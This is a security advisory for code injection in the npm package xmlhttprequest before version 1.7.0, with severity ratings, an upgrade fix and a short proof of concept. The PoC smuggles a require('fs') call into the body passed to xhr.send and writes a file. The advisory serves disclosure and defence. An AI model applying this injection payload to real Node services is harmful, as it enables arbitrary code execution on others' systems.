Arbitrary Code Injection Affecting xmlhttprequest Open this link in a new tab package, versions <1.7.0


0.0
high
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    High

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JS-XMLHTTPREQUEST-1082935

  • published

    5 Mar 2021

  • disclosed

    5 Mar 2021

  • credit

    rinsuki

How to fix?

Upgrade xmlhttprequest to version 1.7.0 or higher.

Overview

xmlhttprequest is a wrapper for the built-in http client to emulate the browser XMLHttpRequest object.

Affected versions of this package are vulnerable to Arbitrary Code Injection. Provided requests are sent synchronously (async=False on xhr.open), malicious user input flowing into xhr.send could result in arbitrary code being injected and run.

POC

const { XMLHttpRequest } = require("xmlhttprequest")

const xhr = new XMLHttpRequest() xhr.open("POST", "http://localhost.invalid/", false /* use synchronize request */) xhr.send("\');require(&quot;fs&quot;).writeFileSync(&quot;/tmp/aaaaa.txt&quot;, &quot;poc-20210306&quot;);req.end();//")